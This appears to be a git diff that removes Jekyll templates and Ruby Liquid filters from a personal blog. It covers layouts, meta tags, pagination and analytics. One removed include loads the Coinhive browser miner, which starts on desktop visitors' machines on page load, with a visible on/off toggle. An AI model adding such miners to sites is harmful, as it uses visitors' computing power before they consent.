{% unless post.categories contains "goodies" and page.path contains "goodies" %}
|
||||
{{ post.excerpt }}
|
||||
{% endunless %}
|
||||
|
||||
{% if post.categories contains "goodies" and page.path contains "goodies" %}
|
||||
<footer class="goodie-actions grid grid--gutters grid--full grid-small--fit">
|
||||
|
||||
<p class="info grid__col">
|
||||
<a class="btn icon icon-info" href="{{ post.url }}">
|
||||
<svg class="icon icon-info-with-circle">
|
||||
<use xlink:href="/assets/img/sprite.svg#info-with-circle"></use>
|
||||
</svg>
|
||||
Release Post
|
||||
</a>
|
||||
</p>
|
||||
|
||||
{% if post.download %}
|
||||
<p class="download grid__col">
|
||||
<a class="btn" href="/media/{{ post.download }}">
|
||||
<svg class="icon icon-arrow-with-circle-down">
|
||||
<use xlink:href="/assets/img/sprite.svg#arrow-with-circle-down"></use>
|
||||
</svg>
|
||||
Download <span>zip</span>
|
||||
</a>
|
||||
</p>
|
||||
{% endif %}
|
||||
|
||||
</footer>
|
||||
{% endif %}
|
||||
|
||||
{% unless page.path contains "goodies" %}
|
||||
<a class="more-link" href="{{ post.url }}">
|
||||
Continue reading
|
||||
<svg class="icon icon-chevron-right">
|
||||
<use xlink:href="/assets/img/sprite.svg#chevron-right"></use>
|
||||
</svg>
|
||||
</a>
|
||||
{% endunless %}
|
||||
|
||||
</section>
|
||||
</article>
|
||||
|
||||
{% endif %}
|
||||
@ -1,31 +0,0 @@
|
||||
<footer class="entry-meta">
|
||||
|
||||
<p class="byline author vcard source-org">
|
||||
<span class="by">by</span> <a class="fn" rel="author" href="{{ site.author.uri }}">
|
||||
{% if page.author %}
|
||||
{{ page.author }}
|
||||
{% else %}
|
||||
{{ site.author.name }}
|
||||
{% endif %}
|
||||
</a>
|
||||
</p>
|
||||
|
||||
<p class="time">
|
||||
<time-ago class="pubdate" datetime="{{ page.date | date_to_xmlschema }}" pubdate{% if page.updated %} data-updated="true"{% endif %}>{{ page.date | date_to_string }}</time-ago>
|
||||
|
||||
{% if page.updated %} • updated <time-ago class="updated" datetime="{{ page.updated | date_to_xmlschema }}">{{ page.updated | date_to_string }}</time-ago>{% endif %}
|
||||
</p>
|
||||
|
||||
<p class="categories">
|
||||
{% for category in page.categories %}
|
||||
<a class="category" href="/{{ category }}">{{ category }}</a>
|
||||
{% endfor %}
|
||||
</p>
|
||||
|
||||
<p class="tags">
|
||||
{% for tag in page.tags %}
|
||||
<a class="tag" href="/tag/{{ tag }}">{{ tag }}</a>
|
||||
{% endfor %}
|
||||
</p>
|
||||
|
||||
</footer>
|
||||
@ -1,15 +0,0 @@
|
||||
|
||||
<aside class="featured">
|
||||
<div class="grid grid--fit grid-medium--gutters">
|
||||
{% for post in site.posts %}
|
||||
{% if post.featured %}
|
||||
<article class="grid__col">
|
||||
<a class="hentry__teaser featured-link" href="{{ post.url }}" title="{{ post.title }}">
|
||||
{% include picture.html size='featured' %}
|
||||
<h1 class="featured-title">{{ post.title | titlecase }}</h1>
|
||||
</a>
|
||||
</article>
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
</div>
|
||||
</aside>
|
||||
@ -1,69 +0,0 @@
|
||||
<footer role="contentinfo" class="site__footer">
|
||||
<div class="footer__content">
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="vcard author">
|
||||
<img class="avatar photo" src="/assets/img/avatar.jpeg" />
|
||||
<p class="footer-description">Blog of designer & developer <a class="fn" rel="author" href="{{ site.author.uri }}">{{ site.author.name }}</a>
|
||||
|
||||
<p>
|
||||
<a class="link twitter" href="https://twitter.com/{{ site.author.twitter }}">
|
||||
<svg class="icon icon-twitter">
|
||||
<use xlink:href="/assets/img/sprite.svg#twitter"></use>
|
||||
</svg>
|
||||
</a>
|
||||
<a class="link github" href="https://github.com/{{ site.author.github }}">
|
||||
<svg class="icon icon-github">
|
||||
<use xlink:href="/assets/img/sprite.svg#github"></use>
|
||||
</svg>
|
||||
</a>
|
||||
<a class="link facebook" href="https://www.facebook.com/{{ site.author.facebook }}">
|
||||
<svg class="icon icon-facebook">
|
||||
<use xlink:href="/assets/img/sprite.svg#facebook"></use>
|
||||
</svg>
|
||||
</a>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<aside class="subscribe">
|
||||
<h1 class="subscribe-title">Subscribe</h1>
|
||||
<p>
|
||||
<a class="link rss" href="http://kremalicious.com/feed.xml" title="RSS Feed">
|
||||
<svg class="icon icon-rss">
|
||||
<use xlink:href="/assets/img/sprite.svg#rss"></use>
|
||||
</svg>
|
||||
</a>
|
||||
<a class="link json" href="http://kremalicious.com/feed.json" title="JSON Feed">
|
||||
<svg class="icon icon-jsonfeed">
|
||||
<use xlink:href="/assets/img/sprite.svg#jsonfeed"></use>
|
||||
</svg>
|
||||
</a>
|
||||
</p>
|
||||
</aside>
|
||||
|
||||
<section class="footer-copyright">
|
||||
<p>© 2005–{{ site.time | date: "%Y" }} <a href="http://matthiaskretschmann.com" rel="me">Matthias Kretschmann</a></p>
|
||||
|
||||
<p>
|
||||
<a href="https://github.com/kremalicious/kremalicious3/blob/master/_src/{{ page.path }}">
|
||||
<svg class="icon icon-github">
|
||||
<use xlink:href="/assets/img/sprite.svg#github"></use>
|
||||
</svg>
|
||||
View source
|
||||
</a>
|
||||
<a href="#" class="footer__btc js-vex-btc">
|
||||
<svg class="icon icon-bitcoin">
|
||||
<use xlink:href="/assets/img/sprite.svg#bitcoin"></use>
|
||||
</svg>
|
||||
<code>{{ site.author.bitcoin }}</code>
|
||||
</a>
|
||||
</p>
|
||||
</section>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
{% include scripts.html %}
|
||||
@ -1,103 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<!--
|
||||
___ ___
|
||||
/__/\ /__/|
|
||||
| |::\ | |:|
|
||||
| |:|:\ | |:|
|
||||
__|__|:|\:\ __| |:|
|
||||
/__/::::| \:\ /__/\_|:|____
|
||||
\ \:\~~\__\/ \ \:\/:::::/
|
||||
\ \:\ \ \::/~~~~
|
||||
\ \:\ \ \:\
|
||||
\ \:\ \ \:\
|
||||
\__\/ \__\/
|
||||
|
||||
YOU EARNED THE GEEK ACHIEVEMENT
|
||||
FOR LOOKING AT MY SOURCE
|
||||
|
||||
But because of all the minimizing and caching
|
||||
going on you better check out the code on
|
||||
github
|
||||
_____________________________________________
|
||||
|
||||
https://github.com/kremalicious/kremalicious3
|
||||
|
||||
_____________________________________________
|
||||
-->
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
|
||||
<title>
|
||||
{% if paginator.previous_page %}
|
||||
Page {{ paginator.page }} ¦ {{ site.name }}
|
||||
{% elsif page.title %}
|
||||
{{ page.title }} ¦ {{ site.name }}
|
||||
{% else %}
|
||||
{{ site.name }} ¦ {{ site.description }}
|
||||
{% endif %}
|
||||
</title>
|
||||
|
||||
{% if page.description %}
|
||||
<meta name="description" content="{{ page.description }}">
|
||||
{% elsif page.front_page %}
|
||||
<meta name="description" content="{{ site.description }}">
|
||||
{% else %}
|
||||
<meta name="description" content="{{ page.excerpt | strip_html | strip_newlines }}" />
|
||||
{% endif %}
|
||||
<meta name="author" content="{% if page.author %}{{ page.author }}{% else %}{{ site.author.name }}{% endif %}">
|
||||
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="HandheldFriendly" content="True">
|
||||
<meta name="MobileOptimized" content="320">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta http-equiv="cleartype" content="on">
|
||||
|
||||
<link rel="stylesheet" href="/assets/css/kremalicious3.min.css">
|
||||
{% if page.style %}
|
||||
<link rel="stylesheet" href="/assets/css/{{ page.style }}">
|
||||
{% endif %}
|
||||
|
||||
<!-- Prevent search indexing for some pages -->
|
||||
{% if page.sitemap == false %}
|
||||
<meta name="robots" content="noindex,nofollow">
|
||||
{% endif %}
|
||||
|
||||
<!-- TypeKit -->
|
||||
<link rel="preload" href="https://use.typekit.net/msu4qap.css" as="style" crossorigin>
|
||||
<link rel="stylesheet" href="https://use.typekit.net/msu4qap.css">
|
||||
|
||||
<!-- Canonical URL -->
|
||||
<link rel="canonical" href="{{ site.url}}{{ page.url | replace:'index.html','' }}">
|
||||
|
||||
<!-- Atom feed -->
|
||||
<link href="{{ site.url }}/feed.xml" rel="alternate" type="application/atom+xml" title="{{ site.name }} posts feed" />
|
||||
<!-- json feed -->
|
||||
<link href="{{ site.url }}/feed.json" rel="alternate" type="application/json" title="{{ site.name }} posts feed" />
|
||||
|
||||
<!-- Apple -->
|
||||
<meta name="apple-mobile-web-app-title" content="kremalicious">
|
||||
|
||||
<!-- Touch Icons -->
|
||||
<link rel="apple-touch-icon" href="/assets/img/apple-touch-icon.png">
|
||||
<link rel="icon" type="image/png" href="/assets/img/favicon-32x32.png" sizes="32x32">
|
||||
<link rel="icon" type="image/png" href="/assets/img/favicon-96x96.png" sizes="96x96">
|
||||
<link rel="icon" type="image/png" href="/assets/img/touch-icon-192x192.png" sizes="192x192">
|
||||
<link rel="mask-icon" href="/assets/img/favicon-mask.svg" color="#015565">
|
||||
<meta name="msapplication-TileImage" content="{{ site.url }}/assets/img/metro-tile.png"/>
|
||||
<meta name="msapplication-TileColor" content="#015565"/>
|
||||
<meta name="theme-color" content="#015565">
|
||||
|
||||
<!-- OpenGraph -->
|
||||
{% include opengraph.html %}
|
||||
|
||||
<!-- Twitter Cards -->
|
||||
{% include twittercards.html %}
|
||||
|
||||
<!-- Google Authorship -->
|
||||
<link href="https://plus.google.com/+MatthiasKretschmann" rel="author"/>
|
||||
|
||||
<!-- https://cloudinary.com/documentation/responsive_images#automating_responsive_images_with_client_hints -->
|
||||
<meta http-equiv="Accept-CH" content="DPR, Viewport-Width, Width">
|
||||
|
||||
</head>
|
||||
@ -1,57 +0,0 @@
|
||||
|
||||
<header role="banner" class="site__header">
|
||||
<div class="header__content">
|
||||
<div class="container">
|
||||
|
||||
<div class="grid grid--half">
|
||||
|
||||
<div class="grid__col">
|
||||
<h1 class="header__title">
|
||||
<a class="header__logo" href="/">kremalicious</a>
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
<nav role="navigation" class="nav-main grid__col">
|
||||
<button type="button" class="menu-btn">
|
||||
<div class="hamburger">
|
||||
<span></span>
|
||||
<span></span>
|
||||
<span></span>
|
||||
</div>
|
||||
</button>
|
||||
</nav>
|
||||
|
||||
<section class="site-search">
|
||||
<button type="button" class="search-btn">
|
||||
<svg class="icon icon-search" role="img" aria-labelledby="title">
|
||||
<title id="title">Search</title>
|
||||
<use xlink:href="/assets/img/sprite.svg#magnifying-glass"></use>
|
||||
</svg>
|
||||
</button>
|
||||
<div class="search-area">
|
||||
<input type="search" id="search-input" class="form-control input-search search-field" placeholder="Search everything">
|
||||
<button class="close search-close">×</button>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
</div>
|
||||
|
||||
<ul class="nav-popover grid grid--half grid-medium--third">
|
||||
{% for category in site.categories %}
|
||||
<li class="grid__col">
|
||||
<a class="nav-link" href="/{{ category | first }}/">
|
||||
{{ category | first }}
|
||||
</a>
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div id="search-popover" class="search-popover hide">
|
||||
<div class="container">
|
||||
<nav id="search-results" class="search-results"></nav>
|
||||
</div>
|
||||
</div>
|
||||
@ -1,36 +0,0 @@
|
||||
|
||||
<meta content="{{ site.name }}" property="og:site_name">
|
||||
{% if page.title %}
|
||||
<meta content="{{ page.title }}" property="og:title">
|
||||
{% else %}
|
||||
<meta content="{{ site.name }}" property="og:title">
|
||||
{% endif %}
|
||||
{% if page.title %}
|
||||
<meta content="article" property="og:type">
|
||||
<meta content="https://matthiaskretschmann.com" property="article:author">
|
||||
{% else %}
|
||||
<meta content="website" property="og:type">
|
||||
{% endif %}
|
||||
{% if page.description %}
|
||||
<meta content="{{ page.description }}" property="og:description">
|
||||
{% elsif page.front_page %}
|
||||
<meta content="{{ site.description }}" property="og:description">
|
||||
{% else %}
|
||||
<meta content="{{ page.excerpt | strip_html | strip_newlines }}" property="og:description">
|
||||
{% endif %}
|
||||
{% if page.url %}
|
||||
<meta content="{{ site.url}}{{ page.url | replace:'index.html','' }}" property="og:url">
|
||||
{% endif %}
|
||||
{% if page.date %}
|
||||
<meta content="{{ page.date | date_to_xmlschema }}" property="article:published_time">
|
||||
{% endif %}
|
||||
{% if page.image %}
|
||||
<meta content="{{ site.media_url }}/w_940/media/{{ post.image }}" property="og:image">
|
||||
{% else %}
|
||||
<meta content="{{ site.url }}/assets/img/kremalicious1024.png" property="og:image">
|
||||
{% endif %}
|
||||
{% if page.categories %}
|
||||
{% for category in page.categories limit:1 %}
|
||||
<meta content="{{ category }}" property="article:section">
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
@ -1,43 +0,0 @@
|
||||
|
||||
{% if paginator.total_pages > 1 %}
|
||||
|
||||
<nav class="paginator">
|
||||
{% if paginator.previous_page %}
|
||||
<a class="paginator__link"
|
||||
{% if paginator.previous_page == 1 %}
|
||||
href="/">
|
||||
{% else %}
|
||||
href="/page/{{paginator.previous_page}}">
|
||||
{% endif %}
|
||||
<svg class="icon icon-chevron-left">
|
||||
<use xlink:href="/assets/img/sprite.svg#chevron-left"></use>
|
||||
</svg>
|
||||
</a>
|
||||
{% endif %}
|
||||
|
||||
<a
|
||||
{% if paginator.page == 1 %}
|
||||
href="#" class="paginator__link active"
|
||||
{% else %}
|
||||
href="/" class="paginator__link"
|
||||
{% endif %}
|
||||
>1</a>
|
||||
|
||||
{% for count in (2..paginator.total_pages) %}
|
||||
{% if count == paginator.page %}
|
||||
<a href="#" class="paginator__link active">{{count}}</a>
|
||||
{% else %}
|
||||
<a class="paginator__link" href="/page/{{count}}">{{count}}</a>
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
|
||||
{% if paginator.next_page %}
|
||||
<a class="paginator__link" href="/page/{{paginator.next_page}}">
|
||||
<svg class="icon icon-chevron-right">
|
||||
<use xlink:href="/assets/img/sprite.svg#chevron-right"></use>
|
||||
</svg>
|
||||
</a>
|
||||
{% endif %}
|
||||
</nav>
|
||||
|
||||
{% endif %}
|
||||
@ -1,7 +0,0 @@
|
||||
<article class="grid__col">
|
||||
|
||||
<a class="photo-link" href="{{ post.url }}" title="{{ post.title }}">
|
||||
{% include picture.html size='photothumb' %}
|
||||
</a>
|
||||
|
||||
</article>
|
||||
@ -1,27 +0,0 @@
|
||||
{% case include.size %}
|
||||
|
||||
{% when 'phototeaser' %}
|
||||
{% assign pictureSize = 'w_940,h_700,c_fill,q_auto:good,f_auto' %}
|
||||
{% assign pictureSizeRetina = 'w_1880,h_1400,c_fill,q_auto:good,f_auto' %}
|
||||
{% when 'photothumb' %}
|
||||
{% assign pictureSize = 'w_190,h_190,c_thumb,q_auto:good,f_auto' %}
|
||||
{% assign pictureSizeRetina = 'w_380,h_380,c_thumb,q_auto:good,f_auto' %}
|
||||
{% when 'featured' %}
|
||||
{% assign pictureSize = 'w_275,h_100,c_fill,q_auto:good,f_auto' %}
|
||||
{% assign pictureSizeRetina = 'w_550,h_200,c_fill,q_auto:good,f_auto' %}
|
||||
{% else %}
|
||||
{% assign pictureSize = 'w_940,f_auto,fl_keep_iptc' %}
|
||||
{% assign pictureSizeRetina = 'w_1880,f_auto,fl_keep_iptc' %}
|
||||
{% endcase %}
|
||||
|
||||
{% if include.file %}
|
||||
{% assign pictureSrc = include.file %}
|
||||
{% else %}
|
||||
{% if page.image %}
|
||||
{% assign pictureSrc = page.image %}
|
||||
{% else %}
|
||||
{% assign pictureSrc = post.image %}
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
|
||||
<img src="{{ site.media_url }}/{{ pictureSize }}/media/{{ pictureSrc }}" srcset="{{ site.media_url }}/{{ pictureSize }}/media/{{ pictureSrc }} 1x, {{ site.media_url }}/{{ pictureSizeRetina }}/media/{{ pictureSrc }} 2x" alt="{{ post.title }}">
|
||||
@ -1,17 +0,0 @@
|
||||
<aside class="related-photos">
|
||||
|
||||
<div class="grid grid--gutters grid--half grid-medium--third">
|
||||
|
||||
{% for post in site.categories['photos'] limit:9 %}
|
||||
|
||||
<article class="related-photo grid__col">
|
||||
<a class="photo-link" href="{{ post.url }}">
|
||||
{% include picture.html size='photothumb' file=post.image %}
|
||||
</a>
|
||||
</article>
|
||||
|
||||
{% endfor %}
|
||||
|
||||
</div>
|
||||
|
||||
</aside>
|
||||
@ -1,24 +0,0 @@
|
||||
{% if site.related_posts.size > 1 %}
|
||||
<aside class="related-posts">
|
||||
|
||||
<h1 class="related-posts-title">Related</h1>
|
||||
|
||||
<div class="grid grid--gutters grid--full grid-small--half grid-medium--third">
|
||||
|
||||
{% for post in site.related_posts limit:6 %}
|
||||
|
||||
<article class="related-post grid__col">
|
||||
<a class="post-title-link" href="{{ post.url }}">
|
||||
{% if post.image %}
|
||||
{% include picture.html size='photothumb' file=post.image %}
|
||||
{% endif %}
|
||||
<h1 class="post-title">{{ post.title | titlecase }}</h1>
|
||||
</a>
|
||||
</article>
|
||||
|
||||
{% endfor %}
|
||||
|
||||
</div>
|
||||
|
||||
</aside>
|
||||
{% endif %}
|
||||
@ -1,111 +0,0 @@
|
||||
<script src="/assets/js/kremalicious3.min.js" async></script>
|
||||
|
||||
{% if page.js %}
|
||||
<script src="/assets/js/{{ page.js }}" async></script>
|
||||
{% elsif layout.js %}
|
||||
<script src="/assets/js/{{ layout.js }}" async></script>
|
||||
{% endif %}
|
||||
|
||||
{% if page.coinhive %}
|
||||
<div class="coinhive hide">
|
||||
<div class="coinhive__info">Mining <a class="coinhive__toggle" href="#" title="Toggle mining">enabled</a></div>
|
||||
<div class="coinhive__hashrate">0 Hashes/s</div>
|
||||
</div>
|
||||
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
|
||||
<script>
|
||||
if (typeof CoinHive !== 'undefined') {
|
||||
const miner = new CoinHive.Anonymous('45EnDz1yUgdjmV9yX31UgamUy9ZjzIyt')
|
||||
const ui = document.querySelector('.coinhive')
|
||||
const toggle = document.querySelector('.coinhive__toggle')
|
||||
|
||||
if (!miner.isMobile()) {
|
||||
miner.start()
|
||||
ui.classList.remove('hide')
|
||||
|
||||
setInterval(function () {
|
||||
const hashesPerSecond = miner.getHashesPerSecond()
|
||||
|
||||
document.querySelector('.coinhive__hashrate').innerHTML = hashesPerSecond.toFixed(0) + ' Hashes/s'
|
||||
}, 1000)
|
||||
}
|
||||
|
||||
toggle.addEventListener('click', function(e) {
|
||||
e.preventDefault()
|
||||
if (miner.isRunning()) {
|
||||
miner.stop()
|
||||
e.target.innerHTML = 'disabled'
|
||||
} else {
|
||||
miner.start()
|
||||
e.target.innerHTML = 'enabled'
|
||||
}
|
||||
}, false)
|
||||
}
|
||||
</script>
|
||||
{% endif %}
|
||||
|
||||
{% if jekyll.environment == "production" %}
|
||||
<script>
|
||||
var _paq = _paq || [];
|
||||
_paq.push(['trackPageView']);
|
||||
_paq.push(['enableLinkTracking']);
|
||||
(function(dnt) {
|
||||
if (dnt !== "yes" && dnt !== "1") {
|
||||
var u="//analytics.kremalicious.com/";
|
||||
_paq.push(['setTrackerUrl', u+'piwik.php']);
|
||||
_paq.push(['setSiteId', 1]);
|
||||
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
|
||||
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
|
||||
}
|
||||
}(navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack || null));
|
||||
</script>
|
||||
<noscript><p><img src="//analytics.kremalicious.com/piwik.php?idsite=1" style="border:0;" alt="" /></p></noscript>
|
||||
{% endif %}
|
||||
|
||||
<script>
|
||||
(function(window, dnt) {
|
||||
|
||||
if (dnt !== "yes" && dnt !== "1") {
|
||||
// Google Analytics async snippet
|
||||
// http://goo.gl/3FPNDx
|
||||
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};
|
||||
ga.l=+new Date;
|
||||
|
||||
// Create the GA tracker
|
||||
ga('create', 'UA-1441794-2', 'auto', {siteSpeedSampleRate: 10});
|
||||
|
||||
{% if jekyll.environment != 'production' %}
|
||||
// In non-production mode, simply log GA hits to the console.
|
||||
// Note, tasks must be set before sending the first hit
|
||||
ga(function(tracker) {
|
||||
tracker.set('sendHitTask', function() {
|
||||
// Throw to stop subsequent tasks.
|
||||
throw 'Abort tracking in non-production environments.'
|
||||
});
|
||||
});
|
||||
{% endif %}
|
||||
|
||||
// Send initial pageview
|
||||
ga('send', 'pageview');
|
||||
|
||||
// Track uncaught errors
|
||||
window.onerror = function(message, url, line, col) {
|
||||
var desc = message + ' (line: ' + line + ', url: ' + url + ', col: '
|
||||
+ col + ')';
|
||||
|
||||
ga('send', 'exception', {
|
||||
exDescription: 'window.onerror: ' + desc,
|
||||
exFatal: false
|
||||
});
|
||||
};
|
||||
}
|
||||
|
||||
}(window, navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack || null));
|
||||
</script>
|
||||
|
||||
{% if jekyll.environment == "production" %}
|
||||
<script async src="//www.google-analytics.com/analytics.js"></script>
|
||||
{% else %}
|
||||
<script async src="//www.google-analytics.com/analytics_debug.js"></script>
|
||||
{% endif%}
|
||||
|
||||
<script src="/assets/js/analytics.min.js" async></script>
|
||||
@ -1,26 +0,0 @@
|
||||
|
||||
{% if page.category == "photos" %}
|
||||
<meta name="twitter:card" content="photo">
|
||||
{% else %}
|
||||
<meta name="twitter:card" content="summary">
|
||||
{% endif %}
|
||||
<meta name="twitter:site" content="@kremaliciouscom">
|
||||
<meta name="twitter:creator" content="@kremalicious">
|
||||
{% if page.title %}
|
||||
<meta name="twitter:title" content="{{ page.title }}">
|
||||
{% else %}
|
||||
<meta name="twitter:title" content="{{ site.title }}">
|
||||
{% endif %}
|
||||
{% if page.url %}
|
||||
<meta name="twitter:url" content="{{ site.url}}{{ page.url | replace:'index.html','' }}">
|
||||
{% endif %}
|
||||
{% if page.description %}
|
||||
<meta name="twitter:description" content="{{ page.description }}">
|
||||
{% else %}
|
||||
<meta name="twitter:description" content="{{ page.excerpt | strip_html }}">
|
||||
{% endif %}
|
||||
{% if page.image %}
|
||||
<meta name="twitter:image:src" content="{{ site.media_url }}/w_940/media/{{ post.image }}">
|
||||
{% else %}
|
||||
<meta name="twitter:image:src" content="{{ site.url }}/assets/img/kremalicious1024.png">
|
||||
{% endif %}
|
||||
@ -1,29 +0,0 @@
|
||||
---
|
||||
layout: base
|
||||
---
|
||||
|
||||
<section role="main" id="main">
|
||||
|
||||
{% if page.type == 'category' %}
|
||||
<h1 class="page-title">{{ page.title }}</h1>
|
||||
{% elsif page.type == 'tag' %}
|
||||
<h1 class="page-title"><span class="hash">#</span>{{ page.title }}</h1>
|
||||
{% else %}
|
||||
<h1 class="page-title">{{ page.type }} archive for {{ page.title }}</h1>
|
||||
{% endif %}
|
||||
|
||||
{% if page.path contains "photos" %}<div class="grid grid--gutters grid--half grid-medium--third">{% endif %}
|
||||
{% for post in page.posts %}
|
||||
|
||||
{% if post.layout == "photo" %}
|
||||
{% include photos.html %}
|
||||
{% else %}
|
||||
{% include articles.html %}
|
||||
{% endif %}
|
||||
|
||||
{% endfor %}
|
||||
{% if page.path contains "photos" %}</div>{% endif %}
|
||||
|
||||
</section>
|
||||
|
||||
{% include paginator.html %}
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
{% include head.html %}
|
||||
|
||||
{% capture id %}{{ page.url | replace:'/','-' | replace_first:'-','' | replace:'.html','' | replace:'-index','' }}{% endcapture %}
|
||||
|
||||
<body class="page-{{ id | remove:'-' }} site">
|
||||
|
||||
{% include header.html %}
|
||||
|
||||
<section role="document" class="site__document">
|
||||
<div class="site__content">
|
||||
<div class="container">
|
||||
{{ content }}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
</body>
|
||||
|
||||
{% include footer.html %}
|
||||
@ -1,40 +0,0 @@
|
||||
---
|
||||
layout: base
|
||||
---
|
||||
|
||||
<section role="main" id="main" class="page-single">
|
||||
|
||||
<article class="hentry format-link">
|
||||
<header>
|
||||
<h1 class="entry-title">
|
||||
<a href="{{ page.linkurl }}" title="Go to source: {{ page.linkurl | remove:'http://' | remove:'https://' | remove:'www.' }}">
|
||||
{{ page.title | titlecase }}
|
||||
<svg class="icon icon-forward">
|
||||
<use xlink:href="/assets/img/sprite.svg#forward"></use>
|
||||
</svg>
|
||||
<span class="linkurl">{{ page.linkurl | remove:'http://' | remove:'https://' | remove:'www.' | split:'/' | first }}</span>
|
||||
</a>
|
||||
</h1>
|
||||
</header>
|
||||
|
||||
<section class="entry-content">
|
||||
{{ content }}
|
||||
<p>
|
||||
<a class="more-link" href="{{ page.linkurl }}">Go to source
|
||||
<svg class="icon icon-forward">
|
||||
<use xlink:href="/assets/img/sprite.svg#forward"></use>
|
||||
</svg>
|
||||
</a>
|
||||
<a class="permalink-link" href="{{ page.url }}" rel="tooltip" title="Permalink">
|
||||
<svg class="icon icon-infinity">
|
||||
<use xlink:href="/assets/img/sprite.svg#infinity"></use>
|
||||
</svg>
|
||||
</a>
|
||||
</p>
|
||||
</section>
|
||||
|
||||
{% include entry_meta.html %}
|
||||
|
||||
</article>
|
||||
|
||||
</section>
|
||||
@ -1,22 +0,0 @@
|
||||
---
|
||||
layout: base
|
||||
---
|
||||
|
||||
<section role="main" id="main" class="page-single">
|
||||
|
||||
<article class="hentry format-page">
|
||||
<header>
|
||||
<h1 class="entry-title">{{ page.title | titlecase }}</h1>
|
||||
</header>
|
||||
|
||||
<section class="entry-content">
|
||||
{% if page.image %}
|
||||
{% include picture.html %}
|
||||
{% endif %}
|
||||
|
||||
{{ content }}
|
||||
</section>
|
||||
|
||||
</article>
|
||||
|
||||
</section>
|
||||
@ -1,41 +0,0 @@
|
||||
---
|
||||
layout: base
|
||||
|
||||
js: photos.min.js
|
||||
---
|
||||
|
||||
<section role="main" id="main" class="page-single">
|
||||
|
||||
<article class="hentry format-photo">
|
||||
|
||||
<header>
|
||||
<h1 class="entry-title fn">{{ page.title | titlecase }}</h1>
|
||||
</header>
|
||||
|
||||
<figure class="hentry__teaser hmedia">
|
||||
|
||||
{% include picture.html %}
|
||||
|
||||
<aside class="exif">
|
||||
<div class="container">
|
||||
<span class="exif__model" title="Camera model"></span>
|
||||
<span class="exif__aperture" title="Aperture"></span>
|
||||
<span class="exif__shutterspeed" title="Shutter speed"></span>
|
||||
<span class="exif__exposure" title="Exposure"></span>
|
||||
<span class="exif__iso" title="ISO"></span>
|
||||
<span class="exif__focallength" title="Focal length"></span>
|
||||
</div>
|
||||
</aside>
|
||||
</figure>
|
||||
|
||||
<section class="entry-content">
|
||||
{{ content }}
|
||||
</section>
|
||||
|
||||
{% include entry_meta.html %}
|
||||
|
||||
{% include relatedphotos.html %}
|
||||
|
||||
</article>
|
||||
|
||||
</section>
|
||||
@ -1,33 +0,0 @@
|
||||
---
|
||||
layout: base
|
||||
---
|
||||
|
||||
<section role="main" id="main" class="page-single">
|
||||
|
||||
<article class="hentry format-post">
|
||||
<header class="entry-header">
|
||||
<h1 class="entry-title">{{ page.title | titlecase }}</h1>
|
||||
<div class="entry-lead">
|
||||
{{ page.excerpt }}
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section class="entry-content">
|
||||
{% if page.image %}
|
||||
<figure class="hentry__teaser">
|
||||
{% include picture.html %}
|
||||
</figure>
|
||||
{% endif %}
|
||||
|
||||
{{ content | remove: page.excerpt }}
|
||||
</section>
|
||||
|
||||
{% include actions.html %}
|
||||
|
||||
{% include entry_meta.html %}
|
||||
|
||||
{% include relatedposts.html %}
|
||||
|
||||
</article>
|
||||
|
||||
</section>
|
||||
@ -1,96 +0,0 @@
|
||||
#custom filters for Octopress
|
||||
|
||||
module OctopressLiquidFilters
|
||||
|
||||
# Used on the blog index to split posts on the <!--more--> marker
|
||||
def excerpt(input)
|
||||
if input.index(/<!--\s*more\s*-->/i)
|
||||
input.split(/<!--\s*more\s*-->/i)[0]
|
||||
else
|
||||
input
|
||||
end
|
||||
end
|
||||
|
||||
# Checks for excerpts (helpful for template conditionals)
|
||||
def has_excerpt(input)
|
||||
input =~ /<!--\s*more\s*-->/i ? true : false
|
||||
end
|
||||
|
||||
# Summary is used on the Archive pages to return the first block of content from a post.
|
||||
def summary(input)
|
||||
if input.index(/\n\n/)
|
||||
input.split(/\n\n/)[0]
|
||||
else
|
||||
input
|
||||
end
|
||||
end
|
||||
|
||||
# Extracts raw content DIV from template, used for page description as {{ content }}
|
||||
# contains complete sub-template code on main page level
|
||||
def raw_content(input)
|
||||
/<div class="entry-content">(?<content>[\s\S]*?)<\/div>\s*<(footer|\/article)>/ =~ input
|
||||
return (content.nil?) ? input : content
|
||||
end
|
||||
|
||||
# Escapes CDATA sections in post content
|
||||
def cdata_escape(input)
|
||||
input.gsub(/<!\[CDATA\[/, '<![CDATA[').gsub(/\]\]>/, ']]>')
|
||||
end
|
||||
|
||||
# Replaces relative urls with full urls
|
||||
def expand_urls(input, url='')
|
||||
url ||= '/'
|
||||
input.gsub /(\s+(href|src)\s*=\s*["|']{1})(\/[^\"'>]*)/ do
|
||||
$1+url+$3
|
||||
end
|
||||
end
|
||||
|
||||
# Improved version of Liquid's truncate:
|
||||
# - Doesn't cut in the middle of a word.
|
||||
# - Uses typographically correct ellipsis (…) insted of '...'
|
||||
def truncate(input, length)
|
||||
if input.length > length && input[0..(length-1)] =~ /(.+)\b.+$/im
|
||||
$1.strip + ' …'
|
||||
else
|
||||
input
|
||||
end
|
||||
end
|
||||
|
||||
